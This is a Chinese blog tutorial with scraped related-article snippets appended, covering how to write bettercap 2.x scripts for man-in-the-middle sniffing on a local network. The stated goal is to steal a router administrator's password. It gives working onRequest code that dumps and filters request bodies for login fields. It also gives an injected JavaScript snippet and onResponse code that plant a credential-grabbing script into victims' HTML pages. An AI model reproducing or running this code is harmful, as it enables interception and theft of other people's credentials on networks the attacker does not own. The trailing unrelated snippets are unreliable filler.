【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写
/文章作者:Kali_MG1937
CNBLOG博客:ALDYS4
QQ:3496925334/
第一期: https://www.cnblogs.com/aldys4/p/14877783.html
在上第一期文章中我简要解析了bettercap模块的编写方法
这一期我们将编写一个注入模块来应用于实战中
实战内容:流量嗅探
明晰思路
假设一个场景:你想要进入内网的路由器管理页面
可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码
思路非常简单
要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求
我们在上一期已经知道onRequest函数是用来拦截request请求的
其中包含两个变量:req,res
req即为request,所以我们对这个函数进行操作
利用ReadBody函数来读取req的具体内容并打印在终端上
开始工程
function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}
很简单易懂的代码,我们将模块带入bettercap进行测试

可以看到 目标主机一旦发送请求,就能立刻被拦截
接下来将脚本升级,让脚本自动嗅探密码之类的关键信息
function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}
可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了
嗅探关键信息的思路明晰之后就非常好办了
但如果受害者发送的请求已经经过加密那该怎么办?
那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚
我在这里举一个简单的例子:
对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我
我先编写一个欲注入的js脚本,命名为inject.js
<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>
很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象
并将指定id的值放入data
最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到
function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/test" )
//如果请求是post,并且请求页面是test,则执行如下代码
{
log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.ContentType = "text/html";
res.Body = "";//清除请求内容
}
}
// inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
readFile("/root/inject.js")//注入脚本 +
'</script>' +
''
); //这一部分注入脚本
body=body.replace('
【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写的更多相关文章
- linux下搭建redis内网端口映射工具-rinetd
最近在工作中使用到了redis缓存,用来提某些业务场景的计算速度和某些情况下的操作频率限制,客户端工具使用了redisDesktopmanager来管理,在本机操作测试的时候,是没有问题的.但是将系统 ...
- 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!
/文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...
- linux下内网端口转发工具:linux版lcx [实现远程内网维护]
这个工具以前使用的初衷是内网渗透,需要将内网ssh端口转发到外网服务器上.但这个工具同样适用于运维工程师进行远程内网维护. 当然这一切的前提是内网可以访问外网,检测方法当然就是直接ping 一个外网I ...
- Natapp内网穿透服务工具
在做微信开发的时候,调用微信接口成功之后,微信会回调我们事先配置好的一个接口.由于微信的服务是在外网的,所以这个回调接口也只能是外网,而且微信要求回调接口只能是通过ICP备案的域名,不能使用IP,所以 ...
- 【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script
/文章作者:Kali_MG1937 CNBLOG博客号:ALDYS4 QQ:3496925334/ 前言 bettercap已经从1.6更新至2.0版本 语言也从ruby改为了go 编写注入模块指定的 ...
- 深入理解java虚拟机_第二章_读书笔记
1.本章内容目录: 概述 运行时数据区域 程序计数器 java虚拟机栈 本地方法栈 java堆 方法区 运行时常量池 直接内存 HotSpot虚拟机对象探秘 对象的创建 对象的内存布局 对象的访问定位 ...
- C语言_第二讲_规范以及常用数据类型
一丶编码规范基本数据类型 编码规范 任何程序员,都应该有良好的的编码习惯,便于以后的代码可读性和维护 常见了编码规范有 匈牙利命名法 驼峰式大小写 匈牙利命名法: 是电脑程序设计中的一种变量命名规则, ...
- Java编程思想_笔记_第二章_一切都是对象
第二章对于知识只是点到,会在以后章节会详细展开. 笔记的侧重会偏向记录自己知识模糊的地方.比如 xxx 很重要很难很实用,但是已经熟练使用就没有记录,而 “使用对象.成员名称来使用成员变量”,较简单而 ...
- Python笔记_第二篇_面向过程_第二部分_5.第三方模块的使用和自定模块(以Pillow模块为例)
1. 安装第三方模块: 打开黑屏终端: cmd: pip -verson pip - V C:\windows\system32>pip -V pip from c:\python37\lib\ ...
随机推荐
- tp 创建文件并写入数据
代码:1.$url = Env::get('root_path').'application/admin/test.txt'; //定义创建路径 $file = fopen($url,"w& ...
- Windows服务与会话的理解
服务 Windows NT操作系统是基于客户/服务器模式的(C/S).将操作系统中最基本的部分放到内核中,而把操作系统的绝大多数部分都放到微内核外面的一组服务器(进程)中实现.如对进程管理的进程管理服 ...
- IP包头部格式解析
IPv4首部一般是20字节长.在以太网帧中,IPv4包首部紧跟着以太网帧首部,同时以太网帧首部中的协议类型值设置为080016. IPv4提供不同,大部分是很少用的选项,使得IPv4包首部最长可扩展到 ...
- 《Ray Tracing in One Weekend》阅读笔记 - 9、Metal(金属)
如果我们希望不同的物体使用不同的材料,则需要进行设计决策.我们可以使用具有许多参数的通用材料,而将不同的材料类型仅将其中一些参数归零.这不是一个坏方法.或者我们可以有一个抽象的材料类来封装行为.我是后 ...
- xxl-job源码阅读二(服务端)
1.源码入口 xxl-job-admin是一个简单的springboot工程,简单翻看源码,可以很快发现XxlJobAdminConfig入口. @Override public void after ...
- [bug] SpringBoot 集成 jsp,访问时页面报Whitelabel Error Page
参考 https://bbs.csdn.net/topics/392187702
- [刷题] 349 Intersection of Two Arrays
查找问题 查找有无(只有键) 元素'a'是否存在 set(集合) 查找对应关系(键值对应) 元素'a'出现了几次 map(字典) set和map的底层实现是红黑树 常见操作 insert() find ...
- [DB] HDFS
体系架构 NameNode HDFS主节点.管理员 接收客户端(命令行.Java程序)的请求:创建目录.上传.下载.删除数据 管理和维护HDFS的日志和元信息 日志文件(edits文件) 二进制文件, ...
- 使用find命令查找大文件
使用find命令查找大文件 find命令是Linux系统管理员工具库中最强大的工具之一.它允许您根据不同的标准(包括文件大小)搜索文件和目录. 例如,如果在当前工作目录中要搜索大小超过100MB的文件 ...
- iPhone手机怎么和电脑互传文件,一条数据线搞定
官方的方法是,通过iTunes进行文件的传输.传个文件还要特意安装个iTunes,实在是麻烦. 其实我们只需要在苹果应用商店app store下载Documents这个文件就可以. 另外,Docume ...